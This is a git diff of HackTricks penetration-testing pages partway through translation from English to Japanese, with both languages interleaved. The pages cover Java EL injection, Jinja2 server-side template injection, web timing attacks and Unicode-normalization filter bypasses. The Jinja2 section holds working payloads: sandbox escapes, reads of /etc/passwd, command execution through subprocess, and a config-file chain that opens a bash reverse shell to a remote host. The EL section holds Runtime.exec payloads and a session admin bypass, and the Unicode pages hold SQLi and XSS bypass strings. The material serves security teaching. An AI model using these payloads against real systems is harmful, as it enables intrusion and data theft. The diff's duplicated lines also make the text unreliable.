T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("cmd /c dir").getInputStream())
''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')
```
### 環境の検査
### Inspecting the environment
- `applicationScope` - global application variables
- `requestScope` - request variables
- `initParam` - application initialization variables
- `sessionScope` - session variables
- `param.X` - param value where X is the name of a http parameter
You will need to cast this variables to String like:
- `applicationScope` - グローバルアプリケーション変数
- `requestScope` - リクエスト変数
- `initParam` - アプリケーション初期化変数
- `sessionScope` - セッション変数
- `param.X` - param 値、ここで X は http パラメータの名前です
これらの変数を String にキャストする必要があります。
```bash
${sessionScope.toString()}
```
#### Authorization bypass example
#### 認可バイパスの例
```bash
${pageContext.request.getSession().setAttribute("admin", true)}
```
The application can also use custom variables like:
アプリケーションは次のようなカスタム変数も使用できます:
```bash
${user}
${password}
${employee.FirstName}
```
## WAF バイパス
## WAF Bypass
チェック [https://h1pmnh.github.io/post/writeup_spring_el_waf_bypass/](https://h1pmnh.github.io/post/writeup_spring_el_waf_bypass/)
Check [https://h1pmnh.github.io/post/writeup_spring_el_waf_bypass/](https://h1pmnh.github.io/post/writeup_spring_el_waf_bypass/)
## References
## 参考文献
- [https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/](https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/)
- [https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf](https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf)
@ -248,4 +216,3 @@ Check [https://h1pmnh.github.io/post/writeup_spring_el_waf_bypass/](https://h1pm
- [https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt](https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,12 +4,11 @@
<figure><img src="../../images/image (2).png" alt=""><figcaption></figcaption></figure>
Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified:
**モバイルセキュリティ**の専門知識を8kSecアカデミーで深めましょう。自己学習型のコースを通じてiOSとAndroidのセキュリティをマスターし、認定を取得しましょう
{% embed url="https://academy.8ksec.io/" %}
## **Lab**
## **ラボ**
```python
from flask import Flask, request, render_template_string
@ -17,21 +16,19 @@ app = Flask(__name__)
@app.route("/")
def home():
if request.args.get('c'):
return render_template_string(request.args.get('c'))
else:
return "Hello, send someting inside the param 'c'!"
if request.args.get('c'):
return render_template_string(request.args.get('c'))
else:
return "Hello, send someting inside the param 'c'!"
if __name__ == "__main__":
app.run()
app.run()
```
## **その他**
## **Misc**
### **Debug Statement**
If the Debug Extension is enabled, a `debug` tag will be available to dump the current context as well as the available filters and tests. This is useful to see whats available to use in the template without setting up a debugger.
### **デバッグステートメント**
Debug Extensionが有効になっている場合、現在のコンテキストや利用可能なフィルターとテストをダンプするための`debug`タグが利用可能になります。これは、デバッガを設定せずにテンプレートで使用できるものを確認するのに便利です。
```python
<pre>
@ -48,19 +45,15 @@ If the Debug Extension is enabled, a `debug` tag will be available to dump the c
</pre>
```
Source: [https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement](https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement)
### **Dump all config variables**
### **すべての設定変数をダンプする**
```python
{{ config }} #In these object you can find all the configured env variables
{% raw %}
{% for key, value in config.items() %}
<dt>{{ key|e }}</dt>
<dd>{{ value|e }}</dd>
<dt>{{ key|e }}</dt>
<dd>{{ value|e }}</dd>
{% endfor %}
{% endraw %}
@ -70,16 +63,14 @@ Source: [https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement]
```
## **Jinja Injection**
First of all, in a Jinja injection you need to **find a way to escape from the sandbox** and recover access the regular python execution flow. To do so, you need to **abuse objects** that are **from** the **non-sandboxed environment but are accessible from the sandbox**.
まず最初に、Jinjaインジェクションでは、**サンドボックスから脱出する方法を見つける**必要があります。そして、通常のPython実行フローにアクセスを回復します。そのためには、**サンドボックスからアクセス可能な**、**非サンドボックス環境からのオブジェクトを悪用する**必要があります。
### Accessing Global Objects
For example, in the code `render_template("hello.html", username=username, email=email)` the objects username and email **come from the non-sanboxed python env** and will be **accessible** inside the **sandboxed env.**\
Moreover, there are other objects that will be **always accessible from the sandboxed env**, these are:
### グローバルオブジェクトへのアクセス
例えば、コード `render_template("hello.html", username=username, email=email)` では、オブジェクトusernameとemailは**非サンドボックスのPython環境から来ており**、**サンドボックス環境内でアクセス可能**です。\
さらに、**サンドボックス環境から常にアクセス可能な**他のオブジェクトもあります。これらは:
```
[]
''
@ -88,15 +79,13 @@ dict
config
request
```
### \<class 'object'> の回復
### Recovering \<class 'object'>
次に、これらのオブジェクトから **`<class 'object'>`** に到達する必要があります。これは、定義された **クラス****回復** しようとするためです。なぜなら、このオブジェクトから **`__subclasses__`** メソッドを呼び出し、**サンドボックス化されていない** python 環境のすべてのクラスにアクセスできるからです。
Then, from these objects we need to get to the class: **`<class 'object'>`** in order to try to **recover** defined **classes**. This is because from this object we can call the **`__subclasses__`** method and **access all the classes from the non-sandboxed** python env.
In order to access that **object class**, you need to **access a class object** and then access either **`__base__`**, **`__mro__()[-1]`** or `.`**`mro()[-1]`**. And then, **after** reaching this **object class** we **call** **`__subclasses__()`**.
Check these examples:
その **オブジェクトクラス** にアクセスするには、**クラスオブジェクト** にアクセスし、次に **`__base__`**、**`__mro__()[-1]`** または `.`**`mro()[-1]`** にアクセスする必要があります。そして、**このオブジェクトクラス** に到達した後、**`__subclasses__()`** を **呼び出します**
これらの例を確認してください:
```python
# To access a class object
[].__class__
@ -140,23 +129,19 @@ dict.__mro__[-1]
{{ [].class.base.subclasses() }}
{{ ''.class.mro()[1].subclasses() }}
```
### RCE エスケープ
### RCE Escaping
**回復した** `<class 'object'>``__subclasses__` を呼び出したことで、これらのクラスを使用してファイルを読み書きし、コードを実行できるようになりました。
**Having recovered** `<class 'object'>` and called `__subclasses__` we can now use those classes to read and write files and exec code.
The call to `__subclasses__` has given us the opportunity to **access hundreds of new functions**, we will be happy just by accessing the **file class** to **read/write files** or any class with access to a class that **allows to execute commands** (like `os`).
**Read/Write remote file**
`__subclasses__` の呼び出しにより、**数百の新しい関数にアクセスする機会**が得られました。私たちは、**ファイルクラス**にアクセスして**ファイルを読み書きする**ことや、**コマンドを実行することを許可する**クラス(例えば `os`)にアクセスすることで満足します。
**リモートファイルの読み書き**
```python
# ''.__class__.__mro__[1].__subclasses__()[40] = File class
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}
```
**RCE**
```python
# The class 396 is the class <class 'subprocess.Popen'>
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
@ -179,20 +164,18 @@ The call to `__subclasses__` has given us the opportunity to **access hundreds o
{{ dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip() }}
```
To learn about **more classes** that you can use to **escape** you can **check**:
**より多くのクラス**について学ぶには、**エスケープ**に使用できるものを**確認**できます:
{{#ref}}
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/
{{#endref}}
### Filter bypasses
### フィルターバイパス
#### Common bypasses
These bypass will allow us to **access** the **attributes** of the objects **without using some chars**.\
We have already seen some of these bypasses in the examples of the previous, but let sumarize them here:
#### 一般的なバイパス
これらのバイパスは、**いくつかの文字を使用せずに**オブジェクトの**属性**に**アクセス**することを可能にします。\
前の例でこれらのバイパスのいくつかをすでに見ましたが、ここで要約します:
```bash
# Without quotes, _, [, ]
## Basic ones
@ -224,31 +207,25 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
```
- [**グローバルオブジェクトにアクセスするためのオプションをここで確認**](jinja2-ssti.md#accessing-global-objects)
- [**オブジェクトクラスにアクセスするためのオプションをここで確認**](jinja2-ssti.md#recovering-less-than-class-object-greater-than)
- [**オブジェクトクラスなしでRCEを取得するためにこれを読んでください**](jinja2-ssti.md#jinja-injection-without-less-than-class-object-greater-than)
- [**Return here for more options to access a global object**](jinja2-ssti.md#accessing-global-objects)
- [**Return here for more options to access the object class**](jinja2-ssti.md#recovering-less-than-class-object-greater-than)
- [**Read this to get RCE without the object class**](jinja2-ssti.md#jinja-injection-without-less-than-class-object-greater-than)
**Avoiding HTML encoding**
By default Flask HTML encode all the inside a template for security reasons:
**HTMLエンコーディングの回避**
デフォルトでは、Flaskはセキュリティ上の理由からテンプレート内のすべてをHTMLエンコードします:
```python
{{'<script>alert(1);</script>'}}
#will be
&lt;script&gt;alert(1);&lt;/script&gt;
```
**The `safe`** filter allows us to inject JavaScript and HTML into the page **without** it being **HTML encoded**, like this:
**`safe`** フィルターを使用すると、ページにJavaScriptやHTMLを**HTMLエンコードされることなく**注入できます。次のように:
```python
{{'<script>alert(1);</script>'|safe}}
#will be
<script>alert(1);</script>
```
**RCE by writing an evil config file.**
**悪意のある設定ファイルを書いてRCEを実行する。**
```python
# evil config
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
@ -259,11 +236,9 @@ By default Flask HTML encode all the inside a template for security reasons:
# connect to evil host
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}
```
## いくつかの文字なし
## Without several chars
Without **`{{`** **`.`** **`[`** **`]`** **`}}`** **`_`**
いくつかの**`{{`** **`.`** **`[`** **`]`** **`}}`** **`_`**なし
```python
{% raw %}
{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%}
@ -275,14 +250,12 @@ Without **`{{`** **`.`** **`[`** **`]`** **`}}`** **`_`**
```
## Jinja Injection without **\<class 'object'>**
From the [**global objects**](jinja2-ssti.md#accessing-global-objects) there is another way to get to **RCE without using that class.**\
If you manage to get to any **function** from those globals objects, you will be able to access **`__globals__.__builtins__`** and from there the **RCE** is very **simple**.
You can **find functions** from the objects **`request`**, **`config`** and any **other** interesting **global object** you have access to with:
[**グローバルオブジェクト**](jinja2-ssti.md#accessing-global-objects)から、**そのクラスを使用せずにRCEに到達する**別の方法があります。\
これらのグローバルオブジェクトから**関数**にアクセスできれば、**`__globals__.__builtins__`**にアクセスでき、そこから**RCE**は非常に**簡単**です。
**`request`**、**`config`**、およびアクセス可能な**他の**興味深い**グローバルオブジェクト**から**関数**を見つけることができます。
```bash
{{ request.__class__.__dict__ }}
- application
@ -302,9 +275,7 @@ You can **find functions** from the objects **`request`**, **`config`** and any
# You can iterate through children objects to find more
```
Once you have found some functions you can recover the builtins with:
いくつかの関数を見つけたら、次のコマンドでビルトインを復元できます:
```python
# Read file
{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }}
@ -326,13 +297,9 @@ Once you have found some functions you can recover the builtins with:
# All the bypasses seen in the previous sections are also valid
```
### Fuzzing WAF bypass
**Fenjing** [https://github.com/Marven11/Fenjing](https://github.com/Marven11/Fenjing) is a tool that its specialized on CTFs but can be also useful to bruteforce invalid params on a real scenario. The tool just spray words and queries to detect filters, searching for bypasses, and also provide a interactive console.
English-Chinese Google translation
**Fenjing** [https://github.com/Marven11/Fenjing](https://github.com/Marven11/Fenjing) は、CTFに特化したツールですが、実際のシナリオで無効なパラメータをブルートフォースするのにも役立ちます。このツールは、フィルターを検出するために単語やクエリをスプレーし、バイパスを探し、インタラクティブなコンソールも提供します。
```
webui:
As the name suggests, web UI
@ -357,13 +324,11 @@ crack-request: Read a request file for attack
Read the request in the file, PAYLOADreplace it with the actual payload and submit it
The request will be urlencoded by default according to the HTTP format, which can be --urlencode-payload 0turned off.
```
## References
## 参考文献
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
- Check [attr trick to bypass blacklisted chars in here](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3).
- [ここでブラックリストに載っている文字をバイパスするためのattrトリックを確認してください](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3).
- [https://twitter.com/SecGus/status/1198976764351066113](https://twitter.com/SecGus/status/1198976764351066113)
- [https://hackmd.io/@Chivato/HyWsJ31dI](https://hackmd.io/@Chivato/HyWsJ31dI)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,40 +1,39 @@
# Timing Attacks
# タイミング攻撃
{{#include ../banners/hacktricks-training.md}}
> [!WARNING]
> For obtaining a deep understanding of this technique check the original report from [https://portswigger.net/research/listen-to-the-whispers-web-timing-attacks-that-actually-work](https://portswigger.net/research/listen-to-the-whispers-web-timing-attacks-that-actually-work)
> この技術を深く理解するためには、[https://portswigger.net/research/listen-to-the-whispers-web-timing-attacks-that-actually-work](https://portswigger.net/research/listen-to-the-whispers-web-timing-attacks-that-actually-work)の元のレポートを確認してください。
## Basic Information
## 基本情報
The basic goal of a timing attack is basically to be able to answer complicated questions or detect hidden functionalities by just **checking the time differences in the responses from similar requests**.
タイミング攻撃の基本的な目標は、**類似のリクエストからの応答の時間差を確認することによって、複雑な質問に答えたり、隠れた機能を検出したりすること**です。
Traditionally this has been very complicated because the latency an jitter introduced by both the network and the server. However, since the discovery and improvement of the [**Race Condition Single Packet attack**](race-condition.md#http-2-single-packet-attack-vs.-http-1.1-last-byte-synchronization), it's possible to use this technique to remove all network delays noised from the equation.\
Leaving only the **server delays** make timing attack easier to discover and abuse.
従来、これはネットワークとサーバーによって導入される遅延とジッターのために非常に複雑でした。しかし、[**レースコンディションシングルパケット攻撃**](race-condition.md#http-2-single-packet-attack-vs.-http-1.1-last-byte-synchronization)の発見と改善以来、この技術を使用してすべてのネットワーク遅延を方程式から除去することが可能になりました。\
サーバーの遅延だけを残すことで、タイミング攻撃の発見と悪用が容易になります。
## Discoveries
## 発見
### Hidden Attack Surface
### 隠れた攻撃面
In the blog post is commented how using this technique it was possible to find hidden parameters and even headers just checking that whenever the param or header was present in the request there was a **time difference of about 5ms**. Actually, this discovery technique has been adde to **Param Miner** in Burp Suite.
ブログ記事では、この技術を使用して隠れたパラメータやヘッダーを見つけることができた方法がコメントされています。リクエストにパラメータやヘッダーが存在する場合、**約5msの時間差があった**ことを確認するだけです。実際、この発見技術はBurp Suiteの**Param Miner**に追加されました。
These time differences might because a **DNS request** was performed, some **log was written** because an invalid input or because some **checks are performed** when a parameter is present int he request.
これらの時間差は、**DNSリクエスト**が実行されたため、無効な入力のために**ログが書き込まれた**ため、またはリクエストにパラメータが存在する場合に**チェックが実行された**ために発生する可能性があります。
Something you need to remember when performing this kind of attacks is that because of the hidden nature of the surface, you might not know what is the actual real cause of the time differences.
この種の攻撃を実行する際に覚えておくべきことは、隠れた性質のために、時間差の実際の原因が何であるかを知らない可能性があるということです。
### Reverse Proxy Misconfigurations
### リバースプロキシの誤設定
In the same research, it was shared that the timing technique was great to discover "scoped SSRFs" (which are SSRFs that can only access to allowed IP/domains). Just **checking the time difference when an allowed domain is set** versus when a not allowed domain is set helps to discover open proxies even if the response is the same.
同じ研究では、タイミング技術が「スコープ付きSSRF」許可されたIP/ドメインにのみアクセスできるSSRFを発見するのに優れていることが共有されました。**許可されたドメインが設定されているときと、許可されていないドメインが設定されているときの時間差を確認する**ことで、応答が同じであってもオープンプロキシを発見するのに役立ちます。
Once an scoped open proxy is discovered, it was possible to find valid targets by parsing known subdomains of the target and this allowed to:
スコープ付きオープンプロキシが発見されると、ターゲットの既知のサブドメインを解析することで有効なターゲットを見つけることができ、これにより以下が可能になります:
- **Bypass firewalls** by accessing restricted subdomains via the **open proxy** instead of through internet
- Moreover, abusing an **open proxy** it's also possible to **discover new subdomains only accessible internally.**
- **Front-End impersonation attacks**: Front-end servers normally add headers for the backend like `X-Forwarded-For` or `X-Real-IP`. Open proxies that receives these headers will add them to the requested endpoint, therefore, an attacker could be able to access even more internal domains by adding these headers will whitelisted values.
- **ファイアウォールをバイパス**し、**オープンプロキシ**を介して制限されたサブドメインにアクセスすること。
- さらに、**オープンプロキシ**を悪用することで、**内部でのみアクセス可能な新しいサブドメインを発見すること**も可能です。
- **フロントエンドのなりすまし攻撃**:フロントエンドサーバーは通常、`X-Forwarded-For``X-Real-IP`のようなバックエンド用のヘッダーを追加します。これらのヘッダーを受け取るオープンプロキシは、要求されたエンドポイントにそれらを追加するため、攻撃者はホワイトリストに登録された値を追加することで、さらに多くの内部ドメインにアクセスできる可能性があります。
## References
## 参考文献
- [https://portswigger.net/research/listen-to-the-whispers-web-timing-attacks-that-actually-work](https://portswigger.net/research/listen-to-the-whispers-web-timing-attacks-that-actually-work)
{{#include ../banners/hacktricks-training.md}}

View File

@ -4,14 +4,14 @@
## Introduction
Depending on how the back-end/front-end is behaving when it **receives weird unicode characters** an attacker might be able to **bypass protections and inject arbitrary characters** that could be used to **abused injection vulnerabilities** such as XSS or SQLi.
バックエンド/フロントエンドが**奇妙なユニコード文字を受け取ったとき**の動作によって、攻撃者は**保護を回避し、任意の文字を注入する**ことができ、これによりXSSやSQLiなどの**注入脆弱性を悪用する**ことが可能になります。
## Unicode Normalization
Unicode normalization occurs when **unicode characters are normalized to ascii characters**.
ユニコード正規化は、**ユニコード文字がASCII文字に正規化される**ときに発生します。
One common scenario of this type of vulnerability occurs when the system is **modifying** somehow the **input** of the user **after having checked it**. For example, in some languages a simple call to make the **input uppercase or lowercase** could normalize the given input and the **unicode will be transformed into ASCII** generating new characters.\
For more info check:
このタイプの脆弱性の一般的なシナリオは、システムが**チェックした後に**ユーザーの**入力を何らかの形で変更する**ときに発生します。たとえば、いくつかの言語では、**入力を大文字または小文字にする**ための単純な呼び出しが、与えられた入力を正規化し、**ユニコードがASCIIに変換され**て新しい文字が生成される可能性があります。\
詳細については、次を確認してください:
{{#ref}}
unicode-normalization.md
@ -19,20 +19,19 @@ unicode-normalization.md
## `\u` to `%`
Unicode characters are usually represented with the **`\u` prefix**. For example the char `㱋` is `\u3c4b`([check it here](https://unicode-explorer.com/c/3c4B)). If a backend **transforms** the prefix **`\u` in `%`**, the resulting string will be `%3c4b`, which URL decoded is: **`<4b`**. And, as you can see, a **`<` char is injected**.\
You could use this technique to **inject any kind of char** if the backend is vulnerable.\
Check [https://unicode-explorer.com/](https://unicode-explorer.com/) to find the chars you need.
ユニコード文字は通常、**`\u`プレフィックス**で表されます。たとえば、文字`㱋``\u3c4b`です([ここで確認](https://unicode-explorer.com/c/3c4B))。バックエンドが**`\u`プレフィックスを`%`に変換**すると、結果の文字列は`%3c4b`になり、URLデコードすると**`<4b`**になります。そして、見ての通り、**`<`文字が注入されます**。\
バックエンドが脆弱であれば、この技術を使用して**任意の種類の文字を注入**することができます。\
必要な文字を見つけるには、[https://unicode-explorer.com/](https://unicode-explorer.com/)を確認してください。
This vuln actually comes from a vulnerability a researcher found, for a more in depth explanation check [https://www.youtube.com/watch?v=aUsAHb0E7Cg](https://www.youtube.com/watch?v=aUsAHb0E7Cg)
この脆弱性は、研究者が発見した脆弱性から来ており、詳細な説明については[https://www.youtube.com/watch?v=aUsAHb0E7Cg](https://www.youtube.com/watch?v=aUsAHb0E7Cg)を確認してください。
## Emoji Injection
Back-ends something behaves weirdly when they **receives emojis**. That's what happened in [**this writeup**](https://medium.com/@fpatrik/how-i-found-an-xss-vulnerability-via-using-emojis-7ad72de49209) where the researcher managed to achieve a XSS with a payload such as: `💋img src=x onerror=alert(document.domain)//💛`
In this case, the error was that the server after removing the malicious characters **converted the UTF-8 string from Windows-1252 to UTF-8** (basically the input encoding and the convert from encoding mismatched). Then this does not give a proper < just a weird unicode one: ``\
``So they took this output and **converted again now from UTF-8 ot ASCII**. This **normalized** the ``to`<` this is how the exploit could work on that system.\
This is what happened:
バックエンドは、**絵文字を受け取るとき**に何かおかしな動作をします。これは、研究者が`💋img src=x onerror=alert(document.domain)//💛`のようなペイロードでXSSを達成した[**このレポート**](https://medium.com/@fpatrik/how-i-found-an-xss-vulnerability-via-using-emojis-7ad72de49209)で起こったことです。
この場合、サーバーは悪意のある文字を削除した後、**Windows-1252からUTF-8にUTF-8文字列を変換**したためにエラーが発生しました(基本的に入力エンコーディングと変換元エンコーディングが不一致でした)。そのため、適切な<を提供せず奇妙なユニコードのもの``を提供しました。\
``そのため、彼らはこの出力を取り、**今度はUTF-8からASCIIに再変換しました**。これにより、``が`<`に**正規化**され、これがそのシステムでのエクスプロイトが機能する方法でした。\
これが起こったことです:
```php
<?php
@ -43,11 +42,9 @@ $str = iconv("UTF-8", "ASCII//TRANSLIT", $str);
echo "String: " . $str;
```
Emoji lists:
絵文字リスト:
- [https://github.com/iorch/jakaton_feminicidios/blob/master/data/emojis.csv](https://github.com/iorch/jakaton_feminicidios/blob/master/data/emojis.csv)
- [https://unicode.org/emoji/charts-14.0/full-emoji-list.html](https://unicode.org/emoji/charts-14.0/full-emoji-list.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,54 +2,52 @@
{{#include ../../banners/hacktricks-training.md}}
**This is a summary of:** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/). Check a look for further details (images taken form there).
**これは次の要約です:** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/)。詳細については確認してください(画像はそこから取得されています)。
## Understanding Unicode and Normalization
Unicode normalization is a process that ensures different binary representations of characters are standardized to the same binary value. This process is crucial in dealing with strings in programming and data processing. The Unicode standard defines two types of character equivalence:
Unicode正規化は、文字の異なるバイナリ表現が同じバイナリ値に標準化されるプロセスです。このプロセスは、プログラミングやデータ処理における文字列の取り扱いにおいて重要です。Unicode標準は、2種類の文字の同等性を定義しています
1. **Canonical Equivalence**: Characters are considered canonically equivalent if they have the same appearance and meaning when printed or displayed.
2. **Compatibility Equivalence**: A weaker form of equivalence where characters may represent the same abstract character but can be displayed differently.
1. **Canonical Equivalence**: 文字が印刷または表示されたときに同じ外観と意味を持つ場合、それらは正準的に同等と見なされます。
2. **Compatibility Equivalence**: 文字が同じ抽象的な文字を表す可能性があるが、異なる方法で表示される場合の弱い同等性の形式です。
There are **four Unicode normalization algorithms**: NFC, NFD, NFKC, and NFKD. Each algorithm employs canonical and compatibility normalization techniques differently. For a more in-depth understanding, you can explore these techniques on [Unicode.org](https://unicode.org/).
**Unicode正規化アルゴリズムは4つ**ありますNFC、NFD、NFKC、NFKD。それぞれのアルゴリズムは、正準的および互換性のある正規化技術を異なる方法で使用します。より深く理解するためには、[Unicode.org](https://unicode.org/)でこれらの技術を探ることができます。
### Key Points on Unicode Encoding
Understanding Unicode encoding is pivotal, especially when dealing with interoperability issues among different systems or languages. Here are the main points:
Unicodeエンコーディングを理解することは、特に異なるシステムや言語間の相互運用性の問題に対処する際に重要です。主なポイントは次のとおりです
- **Code Points and Characters**: In Unicode, each character or symbol is assigned a numerical value known as a "code point".
- **Bytes Representation**: The code point (or character) is represented by one or more bytes in memory. For instance, LATIN-1 characters (common in English-speaking countries) are represented using one byte. However, languages with a larger set of characters need more bytes for representation.
- **Encoding**: This term refers to how characters are transformed into a series of bytes. UTF-8 is a prevalent encoding standard where ASCII characters are represented using one byte, and up to four bytes for other characters.
- **Processing Data**: Systems processing data must be aware of the encoding used to correctly convert the byte stream into characters.
- **Variants of UTF**: Besides UTF-8, there are other encoding standards like UTF-16 (using a minimum of 2 bytes, up to 4) and UTF-32 (using 4 bytes for all characters).
- **Code Points and Characters**: Unicodeでは、各文字または記号に「コードポイント」として知られる数値が割り当てられています。
- **Bytes Representation**: コードポイントまたは文字は、メモリ内で1つ以上のバイトで表されます。たとえば、LATIN-1文字英語圏で一般的は1バイトを使用して表されます。ただし、より多くの文字セットを持つ言語は、表現のためにより多くのバイトが必要です。
- **Encoding**: この用語は、文字がバイトの系列に変換される方法を指します。UTF-8は一般的なエンコーディング標準で、ASCII文字は1バイトで表され、他の文字には最大4バイトが使用されます。
- **Processing Data**: データを処理するシステムは、バイトストリームを正しく文字に変換するために使用されるエンコーディングを認識している必要があります。
- **Variants of UTF**: UTF-8の他にも、UTF-16最小2バイト、最大4バイトを使用やUTF-32すべての文字に4バイトを使用などの他のエンコーディング標準があります。
It's crucial to comprehend these concepts to effectively handle and mitigate potential issues arising from Unicode's complexity and its various encoding methods.
An example of how Unicode normalise two different bytes representing the same character:
これらの概念を理解することは、Unicodeの複雑さとそのさまざまなエンコーディング方法から生じる潜在的な問題を効果的に処理し、軽減するために重要です。
Unicodeが同じ文字を表す2つの異なるバイトをどのように正規化するかの例
```python
unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "chlo\u00e9")
```
**Unicodeの同等文字のリストはここにあります:** [https://appcheck-ng.com/wp-content/uploads/unicode_normalization.html](https://appcheck-ng.com/wp-content/uploads/unicode_normalization.html) と [https://0xacb.com/normalization_table](https://0xacb.com/normalization_table)
**A list of Unicode equivalent characters can be found here:** [https://appcheck-ng.com/wp-content/uploads/unicode_normalization.html](https://appcheck-ng.com/wp-content/uploads/unicode_normalization.html) and [https://0xacb.com/normalization_table](https://0xacb.com/normalization_table)
### 発見
### Discovering
ウェブアプリ内でエコーされる値を見つけることができれば、**KELVIN SIGN (U+0212A)** を送信してみることができます。これは **"K"** に **正規化**されます(`%e2%84%aa`として送信できます)。**"K"がエコーされる**場合、何らかの **Unicode正規化**が行われています。
If you can find inside a webapp a value that is being echoed back, you could try to send **KELVIN SIGN (U+0212A)** which **normalises to "K"** (you can send it as `%e2%84%aa`). **If a "K" is echoed back**, then, some kind of **Unicode normalisation** is being performed.
他の **例**: `%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94%B0%F0%9D%94%A5%F0%9D%99%96%F0%9D%93%83`**unicode** 後に `Leonishan` になります。
Other **example**: `%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94%B0%F0%9D%94%A5%F0%9D%99%96%F0%9D%93%83` after **unicode** is `Leonishan`.
## **脆弱な例**
## **Vulnerable Examples**
### **SQLインジェクションフィルターバイパス**
### **SQL Injection filter bypass**
ユーザー入力を使用してSQLクエリを作成するために、文字 `'` を使用しているウェブページを想像してください。このウェブは、セキュリティ対策として、ユーザー入力から **`'`** のすべての出現を **削除**しますが、**その削除後**、**クエリの作成前**に、ユーザーの入力を **Unicode** を使用して **正規化**します。
Imagine a web page that is using the character `'` to create SQL queries with the user input. This web, as a security measure, **deletes** all occurrences of the character **`'`** from the user input, but **after that deletion** and **before the creation** of the query, it **normalises** using **Unicode** the input of the user.
Then, a malicious user could insert a different Unicode character equivalent to `' (0x27)` like `%ef%bc%87` , when the input gets normalised, a single quote is created and a **SQLInjection vulnerability** appears:
その後、悪意のあるユーザーは、`' (0x27)` に相当する別のUnicode文字 `%ef%bc%87` を挿入することができ、入力が正規化されると、シングルクォートが作成され、**SQLインジェクションの脆弱性**が現れます:
![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (702).png>)
**Some interesting Unicode characters**
**いくつかの興味深いUnicode文字**
- `o` -- %e1%b4%bc
- `r` -- %e1%b4%bf
@ -62,7 +60,6 @@ Then, a malicious user could insert a different Unicode character equivalent to
- `'` -- %ef%bc%87
- `"` -- %ef%bc%82
- `|` -- %ef%bd%9c
```
' or 1=1-- -
%ef%bc%87+%e1%b4%bc%e1%b4%bf+%c2%b9%e2%81%bc%c2%b9%ef%b9%a3%ef%b9%a3+%ef%b9%a3
@ -76,32 +73,30 @@ Then, a malicious user could insert a different Unicode character equivalent to
" || 1==1//
%ef%bc%82+%ef%bd%9c%ef%bd%9c+%c2%b9%e2%81%bc%e2%81%bc%c2%b9%ef%bc%8f%ef%bc%8f
```
#### sqlmap template
#### sqlmap テンプレート
{% embed url="https://github.com/carlospolop/sqlmap_to_unicode_template" %}
### XSS (Cross Site Scripting)
### XSS (クロスサイトスクリプティング)
You could use one of the following characters to trick the webapp and exploit a XSS:
次のいずれかの文字を使用して、ウェブアプリを欺き、XSSを悪用することができます
![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (312) (2).png>)
Notice that for example the first Unicode character purposed can be sent as: `%e2%89%ae` or as `%u226e`
例えば、最初のUnicode文字は、`%e2%89%ae`または`%u226e`として送信できます。
![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (215) (1) (1).png>)
### Fuzzing Regexes
### ファジング正規表現
When the backend is **checking user input with a regex**, it might be possible that the **input** is being **normalized** for the **regex** but **not** for where it's being **used**. For example, in an Open Redirect or SSRF the regex might be **normalizing the sent UR**L but then **accessing it as is**.
バックエンドが**ユーザー入力を正規表現でチェックしている**場合、**入力**が**正規表現**のために**正規化**されているが、**使用される場所**では**正規化されていない**可能性があります。例えば、オープンリダイレクトやSSRFでは、正規表現が送信されたURLを**正規化**しているかもしれませんが、その後**そのままアクセス**しています。
